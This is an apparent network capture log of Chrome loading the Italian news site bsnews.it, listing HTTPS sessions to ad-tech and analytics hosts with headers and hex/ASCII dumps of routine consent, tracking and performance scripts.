2024-03-28 08:51:25 UTC	943	IN	Data Raw: 7b 22 33 70 76 65 6e 64 6f 72 22 3a 22 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 6c 69 76 65 52 61 6d 70 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 3b 69 66 20 28 21 77 69 6e 64 6f 77 2e 50 75 62 6c 69 73 68 65 72 43 6f 6d 6d 6f 6e 49 64 29 20 7b 5c 6e 20 20 20 20 76 61 72 20 70 75 62 63 6f 6d 6d 6f 6e 53 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 5c 6e 20 20 20 20 70 75 62 63 6f 6d 6d 6f 6e 53 63 72 69 70 74 2e 73 72 63 20 3d 20 27 2f 2f 73 65 63 75 72 65 2e 63 64 6e 2e 66 61 73 74 63 6c 69 63 6b 2e 6e 65 74 2f 6a 73 2f 70 75 62 63 69 64 2f 6c 61 74 65 73 74 2f 70 75 Data Ascii: {"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;if (!window.PublisherCommonId) {\n var pubcommonScript = document.createElement('script');\n pubcommonScript.src = '//secure.cdn.fastclick.net/js/pubcid/latest/pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50073	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	352	OUT	GET /prebid-request HTTP/1.1 Host: onetag-sys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	321	IN	HTTP/1.1 200 OK p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' cache-control: no-transform, no-cache content-type: application/json content-length: 15 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close
2024-03-28 08:51:25 UTC	15	IN	Data Raw: 7b 22 6e 6f 62 69 64 73 22 3a 74 72 75 65 7d Data Ascii: {"nobids":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50082	152.199.6.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	539	OUT	GET /js/topics/topics.js?src=wai HTTP/1.1 Host: cstatic.weborama.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	437	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Age: 367498 Cache-Control: max-age=604800 Content-Type: text/javascript Date: Thu, 28 Mar 2024 08:51:25 GMT Etag: "890860677+gzip+ident" Expires: Thu, 04 Apr 2024 08:51:25 GMT Last-Modified: Thu, 14 Mar 2024 09:31:25 GMT P3P: CP="NOI DSP COR CURa DEVa PSAa OUR STP UNI DEM" Server: ECAcc (dcd/7D80) Vary: Accept-Encoding X-Cache: HIT Content-Length: 4613 Connection: close
2024-03-28 08:51:25 UTC	4613	IN	Data Raw: 2f 2f 20 72 65 67 69 73 74 65 72 20 74 63 66 20 76 32 20 61 70 69 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 5f 5f 74 63 66 61 70 69 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 7d 0a 0a 20 20 76 61 72 20 66 72 61 6d 65 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 63 6d 70 46 72 61 6d 65 2c 0a 20 20 20 20 63 6d 70 43 61 6c 6c 62 61 63 6b 73 20 3d 20 7b 7d 3b 0a 0a 20 20 77 68 69 6c 65 20 28 66 72 61 6d 65 29 20 7b 0a 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 69 66 20 28 66 72 61 6d 65 2e 66 72 61 6d 65 73 5b 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 63 6d 70 46 72 61 6d 65 20 3d 20 66 Data Ascii: // register tcf v2 api(function () { if (typeof window.__tcfapi === "function") { return; } var frame = window, cmpFrame, cmpCallbacks = {}; while (frame) { try { if (frame.frames["__tcfapiLocator"]) { cmpFrame = f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50078	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	362	OUT	GET /user-sessions-aadee70.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/javascript Content-Length: 17045 Connection: close x-amz-id-2: MH/ZrM4PfXS5ZHqCjLFq4AaCjPGTkqHutxQd5u4Rv2YEghnEiW3c2mzjwbO43v2UeOSba3oEa+s= x-amz-request-id: 9DRVADNTGCH541ZR Cache-Control: public, max-age=604800, immutable Last-Modified: Fri, 16 Feb 2024 10:03:54 GMT ETag: "157b63b1e80d2d5bb6b26abab55f56fc" CF-Cache-Status: HIT Age: 55612 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660d6481982a2-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:25 UTC	833	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 74 3d 2f 70 62 73 74 63 6b 3a 64 65 62 75 67 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 6e 3d 21 21 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 70 62 73 74 63 6b 22 29 2c 6f 3d 28 65 2c 6f 2c 2e 2e 2e 72 29 3d 3e 7b 28 74 7c 7c 6e 29 26 26 63 6f 6e 73 6f 6c 65 5b 65 5d 28 60 5b 70 62 73 74 63 6b 55 73 65 72 53 65 73 73 69 6f 6e 73 2d 61 61 64 65 65 37 30 5d 20 5b 24 7b 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2e 74 6f 46 69 78 65 64 28 32 29 7d 5d 20 24 7b 6f 7d 60 2c 2e 2e 2e 72 2e 6c 65 6e 67 74 68 3f 72 3a 22 22 29 7d 2c 72 3d 28 65 2c 2e 2e 2e 74 29 3d 3e 7b 6f Data Ascii: !function(e){"use strict";const t=/pbstck:debug/.test(window.location.href),n=!!window.localStorage.getItem("pbstck"),o=(e,o,...r)=>{(t\|\|n)&&console[e](`[pbstckUserSessions-aadee70] [${performance.now().toFixed(2)}] ${o}`,...r.length?r:"")},r=(e,...t)=>{o
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 3d 3e 74 2e 73 74 61 72 74 73 57 69 74 68 28 65 29 29 29 3b 76 61 72 20 6d 2c 70 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 48 49 53 54 4f 52 59 5f 4d 55 54 41 54 49 4f 4e 3d 22 5f 70 62 73 74 63 6b 5f 68 69 73 74 6f 72 79 4d 75 74 61 74 69 6f 6e 22 2c 65 2e 4e 45 57 5f 50 41 47 45 3d 22 5f 70 62 73 74 63 6b 5f 70 61 67 65 56 69 65 77 22 2c 65 2e 53 45 53 53 49 4f 4e 5f 54 52 41 43 4b 49 4e 47 5f 41 55 54 48 4f 52 49 5a 45 44 3d 22 5f 70 62 73 74 63 6b 5f 73 65 73 73 69 6f 6e 54 72 61 63 6b 69 6e 67 41 75 74 68 6f 72 69 7a 65 64 22 2c 65 2e 53 45 53 53 49 4f 4e 5f 54 52 41 43 4b 49 4e 47 5f 44 45 43 4c 49 4e 45 44 3d 22 5f 70 62 73 74 63 6b 5f 73 65 73 73 69 6f 6e 54 72 61 63 6b 69 6e 67 44 65 63 6c 69 6e 65 64 22 7d 28 6d 7c 7c 28 6d 3d 7b 7d 29 29 Data Ascii: =>t.startsWith(e)));var m,p;!function(e){e.HISTORY_MUTATION="_pbstck_historyMutation",e.NEW_PAGE="_pbstck_pageView",e.SESSION_TRACKING_AUTHORIZED="_pbstck_sessionTrackingAuthorized",e.SESSION_TRACKING_DECLINED="_pbstck_sessionTrackingDeclined"}(m\|\|(m={}))
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 2d 22 2b 68 5b 65 5b 74 2b 31 30 5d 5d 2b 68 5b 65 5b 74 2b 31 31 5d 5d 2b 68 5b 65 5b 74 2b 31 32 5d 5d 2b 68 5b 65 5b 74 2b 31 33 5d 5d 2b 68 5b 65 5b 74 2b 31 34 5d 5d 2b 68 5b 65 5b 74 2b 31 35 5d 5d 7d 28 6f 29 7d 63 6f 6e 73 74 20 54 3d 65 3d 3e 7b 77 69 6e 64 6f 77 2e 5f 5f 70 62 73 74 63 6b 5f 63 6f 6e 73 65 6e 74 3d 65 7d 2c 45 3d 65 3d 3e 7b 77 69 6e 64 6f 77 2e 5f 5f 70 62 73 74 63 6b 5f 73 65 73 73 69 6f 6e 5f 74 72 61 63 6b 69 6e 67 3d 65 7d 2c 53 3d 28 29 3d 3e 77 69 6e 64 6f 77 2e 5f 5f 70 62 73 74 63 6b 5f 63 6f 6e 73 65 6e 74 2c 62 3d 28 29 3d 3e 77 69 6e 64 6f 77 2e 5f 5f 70 62 73 74 63 6b 5f 73 65 73 73 69 6f 6e 5f 74 72 61 63 6b 69 6e 67 2c 49 3d 65 3d 3e 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 63 6f 6e Data Ascii: -"+h[e[t+10]]+h[e[t+11]]+h[e[t+12]]+h[e[t+13]]+h[e[t+14]]+h[e[t+15]]}(o)}const T=e=>{window.__pbstck_consent=e},E=e=>{window.__pbstck_session_tracking=e},S=()=>window.__pbstck_consent,b=()=>window.__pbstck_session_tracking,I=e=>{if("string"==typeof e){con
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 6f 75 72 63 65 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 73 6f 75 72 63 65 22 29 7c 7c 6e 75 6c 6c 2c 75 74 6d 43 61 6d 70 61 69 67 6e 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 63 61 6d 70 61 69 67 6e 22 29 7c 7c 6e 75 6c 6c 2c 75 74 6d 43 6f 6e 74 65 6e 74 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 63 6f 6e 74 65 6e 74 22 29 7c 7c 6e 75 6c 6c 2c 75 74 6d 54 65 72 6d 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 74 65 72 6d 22 29 7c 7c 6e 75 6c 6c 2c 75 74 6d 4d 65 64 69 75 6d 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 6d 65 64 69 75 6d 22 29 7c 7c 6e 75 6c 6c 7d 3b 74 72 79 7b 6c 6f 63 61 6c 53 74 Data Ascii: ource:n.searchParams.get("utm_source")\|\|null,utmCampaign:n.searchParams.get("utm_campaign")\|\|null,utmContent:n.searchParams.get("utm_content")\|\|null,utmTerm:n.searchParams.get("utm_term")\|\|null,utmMedium:n.searchParams.get("utm_medium")\|\|null};try{localSt
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 6e 2e 6c 61 73 74 55 70 64 61 74 65 54 69 6d 65 4d 73 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 6e 2e 6c 61 73 74 55 72 6c 56 69 73 69 74 65 64 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 4f 28 65 2c 74 29 2c 62 74 6f 61 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6e 29 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 4e 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 43 29 72 65 74 75 72 6e 20 76 6f 69 64 20 55 28 65 2c 74 29 3b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6b 29 74 68 72 6f 77 20 6e 3b 74 68 72 6f 77 20 6e 65 77 20 6b 7d 7d 29 28 65 2c 74 29 2c 56 28 65 2c 74 29 7d 63 61 74 63 68 28 6e 29 7b 6e 20 69 6e 73 74 61 6e 63 65 Data Ascii: n.lastUpdateTimeMs=Date.now(),n.lastUrlVisited=window.location.href,localStorage.setItem(O(e,t),btoa(JSON.stringify(n)))}catch(n){if(n instanceof N\|\|n instanceof C)return void U(e,t);if(n instanceof k)throw n;throw new k}})(e,t),V(e,t)}catch(n){n instance
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 75 74 6d 5f 63 6f 6e 74 65 6e 74 22 29 2c 75 74 6d 54 65 72 6d 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 74 65 72 6d 22 29 2c 75 74 6d 4d 65 64 69 75 6d 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 6d 65 64 69 75 6d 22 29 7d 3b 76 61 72 20 6f 7d 2c 48 3d 28 65 2c 74 2c 6e 29 3d 3e 7b 74 72 79 7b 63 6f 6e 73 74 20 6f 3d 62 28 29 3b 72 65 74 75 72 6e 7b 2e 2e 2e 65 2c 70 61 67 65 43 6f 75 6e 74 3a 6f 3f 24 28 74 2c 6e 29 3a 65 2e 70 61 67 65 43 6f 75 6e 74 2c 75 73 65 72 53 65 73 73 69 6f 6e 49 64 3a 6f 3f 52 28 74 2c 6e 29 2e 69 64 3a 6e 75 6c 6c 2c 63 6f 6e 73 65 6e 74 3a 53 28 29 2c 73 65 73 73 69 6f 6e 54 72 61 63 6b 69 6e 67 3a 6f 2c 75 74 6d 53 6f 75 72 63 65 3a 6f 3f 52 28 74 2c 6e 29 2e Data Ascii: utm_content"),utmTerm:n.searchParams.get("utm_term"),utmMedium:n.searchParams.get("utm_medium")};var o},H=(e,t,n)=>{try{const o=b();return{...e,pageCount:o?$(t,n):e.pageCount,userSessionId:o?R(t,n).id:null,consent:S(),sessionTracking:o,utmSource:o?R(t,n).
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 70 69 29 3f 74 28 6f 29 3a 6e 28 22 5f 5f 74 63 66 61 70 69 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 65 6c 73 65 20 73 65 74 54 69 6d 65 6f 75 74 28 28 28 29 3d 3e 4a 28 65 2c 74 2c 6e 29 29 2c 31 30 30 29 7d 2c 6a 3d 65 3d 3e 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 28 74 2c 6e 29 3d 3e 4a 28 65 2c 74 2c 6e 29 29 29 2c 59 3d 65 3d 3e 65 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 26 26 65 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 31 5d 26 26 65 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 32 5d 26 26 65 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 33 5d 26 26 65 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 34 5d 26 26 65 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 37 5d 3f 71 2e Data Ascii: pi)?t(o):n("__tcfapi is not a function")}else setTimeout((()=>J(e,t,n)),100)},j=e=>new Promise(((t,n)=>J(e,t,n))),Y=e=>e.purpose.consents&&e.purpose.consents[1]&&e.purpose.consents[2]&&e.purpose.consents[3]&&e.purpose.consents[4]&&e.purpose.consents[7]?q.
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 7b 76 61 72 20 72 2c 69 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 2e 76 61 6c 75 65 3e 3d 30 26 26 28 61 7c 7c 6f 29 26 26 28 28 69 3d 74 2e 76 61 6c 75 65 2d 28 72 7c 7c 30 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 29 26 26 28 72 3d 74 2e 76 61 6c 75 65 2c 74 2e 64 65 6c 74 61 3d 69 2c 74 2e 72 61 74 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3e 74 5b 31 5d 3f 22 70 6f 6f 72 22 3a 65 3e 74 5b 30 5d 3f 22 6e 65 65 64 73 2d 69 6d 70 72 6f 76 65 6d 65 6e 74 22 3a 22 67 6f 6f 64 22 7d 28 74 2e 76 61 6c 75 65 2c 6e 29 2c 65 28 74 29 29 7d 7d 2c 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: {var r,i;return function(a){t.value>=0&&(a\|\|o)&&((i=t.value-(r\|\|0))\|\|void 0===r)&&(r=t.value,t.delta=i,t.rating=function(e,t){return e>t[1]?"poor":e>t[0]?"needs-improvement":"good"}(t.value,n),e(t))}},ce=function(e){requestAnimationFrame((function(){retur
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 69 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 73 74 61 72 74 54 69 6d 65 3c 6f 2e 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 26 26 28 72 2e 76 61 6c 75 65 3d 4d 61 74 68 2e 6d 61 78 28 65 2e 73 74 61 72 74 54 69 6d 65 2d 72 65 28 29 2c 30 29 2c 72 2e 65 6e 74 72 69 65 73 2e 70 75 73 68 28 65 29 2c 6e 28 21 30 29 29 29 7d 29 29 7d 29 29 3b 69 26 26 28 6e 3d 73 65 28 65 2c 72 2c 77 65 2c 74 2e 72 65 70 6f 72 74 41 6c 6c 43 68 61 6e 67 65 73 29 2c 6e 65 28 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 3d 69 65 28 22 46 43 50 22 29 2c 6e 3d 73 65 28 65 2c 72 2c 77 65 2c 74 2e 72 65 70 6f 72 74 41 6c 6c 43 68 61 6e 67 65 73 29 2c 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 76 61 6c 75 65 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2d 6f 2e Data Ascii: i.disconnect(),e.startTime<o.firstHiddenTime&&(r.value=Math.max(e.startTime-re(),0),r.entries.push(e),n(!0)))}))}));i&&(n=se(e,r,we,t.reportAllChanges),ne((function(o){r=ie("FCP"),n=se(e,r,we,t.reportAllChanges),ce((function(){r.value=performance.now()-o.
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 28 65 65 3d 61 65 28 22 65 76 65 6e 74 22 2c 4c 65 2c 7b 74 79 70 65 3a 22 65 76 65 6e 74 22 2c 62 75 66 66 65 72 65 64 3a 21 30 2c 64 75 72 61 74 69 6f 6e 54 68 72 65 73 68 6f 6c 64 3a 30 7d 29 29 7d 2c 52 65 3d 5b 32 30 30 2c 35 30 30 5d 2c 24 65 3d 30 2c 55 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4f 65 28 29 2d 24 65 7d 2c 4d 65 3d 5b 5d 2c 56 65 3d 7b 7d 2c 78 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 4d 65 5b 4d 65 2e 6c 65 6e 67 74 68 2d 31 5d 2c 6e 3d 56 65 5b 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 49 64 5d 3b 69 66 28 6e 7c 7c 4d 65 2e 6c 65 6e 67 74 68 3c 31 30 7c 7c 65 2e 64 75 72 61 74 69 6f 6e 3e 74 2e 6c 61 74 65 6e 63 79 29 7b 69 66 28 6e 29 6e 2e 65 6e 74 72 69 65 73 2e 70 75 73 68 28 65 29 2c 6e 2e 6c Data Ascii: (ee=ae("event",Le,{type:"event",buffered:!0,durationThreshold:0}))},Re=[200,500],$e=0,Ue=function(){return Oe()-$e},Me=[],Ve={},xe=function(e){var t=Me[Me.length-1],n=Ve[e.interactionId];if(n\|\|Me.length<10\|\|e.duration>t.latency){if(n)n.entries.push(e),n.l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	50092	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	1264	OUT	GET /pcs/view?xai=AKAOjsuMPUa6QWqUXjOB1gesXf5CW0gIWxO8FTM0U7omD4p-MV8yaS2PF_rYmIEFuphM0EKP6fptMkjhtOJr2Tlg-VyAFLaXsUqqbalYjnwWRZmwlzmbTNHz54VuUVUCSULzupwIyCbIjZ8_iRMC3f6kLUZY2eSoViAogLGAqLs_BktSLly4thJQoQ-ilz6JNKtpsygcsZ2yjfV_sOZ1pJxpiHhmdDL7mmF4fZIKQhaAC-rZbJsIqGJr6s1jTp03RufZnLiXUEg0s6kQYinKEvX3D4XYmUPKYtagyVZSqMuc00gmUEzlzqayJ6jc5EyH5aD-nMRfT5DwLw5jHf2GZ-6FO0XvikBSajgDkRo_-N9wSC5uYQ&sai=AMfl-YRrRRxy3bKc2ZUt2PMHDQgiOs50SKxC0PYJp7PBvsX89WBGTVLyvtj-AU8lh2OFvluEh3gLjEuNFGeRn9vkvKkQaLxwWdoN3ZP1ilqE1Y1mBc0XUv0CHLsf9sgS2kz-9QI79xY_cRmzPQhj7Ly4AIo&sig=Cg0ArKJSzF8Hp6VDb2bqEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-03-28 08:51:26 UTC	1153	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 28 Mar 2024 08:51:25 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmyzKQ-jDZBqIY0PzCZtw2hWa2uMRVSp057mbPGRTKMMFbukGQv45jRIHwaJrs; expires=Sat, 28-Mar-2026 08:51:25 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Thu, 28 Mar 2024 08:51:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	50054	162.55.236.224	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	772	OUT	GET /dcf3528a0b8aa83634892d50e91c306e/?ord=6820651392&consentString= HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:25 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
2024-03-28 08:51:25 UTC	72	IN	Data Raw: 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 62 6f 64 79 3e 3c 21 2d 2d 31 30 30 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 3d<!DOCTYPE html><html lang="en"><body>...100--></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	50059	138.199.8.195	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	438	OUT	GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=op&pos=0&loop=1&pb=1&dnt=1&rnd=1711615871094 HTTP/1.1 Host: track.sunmedia.tv Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	357	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: image/gif Content-Length: 42 Connection: close Last-Modified: Thu, 15 Nov 2018 09:59:07 GMT Cache-control: max-age=0, s-maxage=31536000 X-Device: desktop Accept-Ranges: bytes Age: 49179 TP-Cache: HIT Vary: Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	50081	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

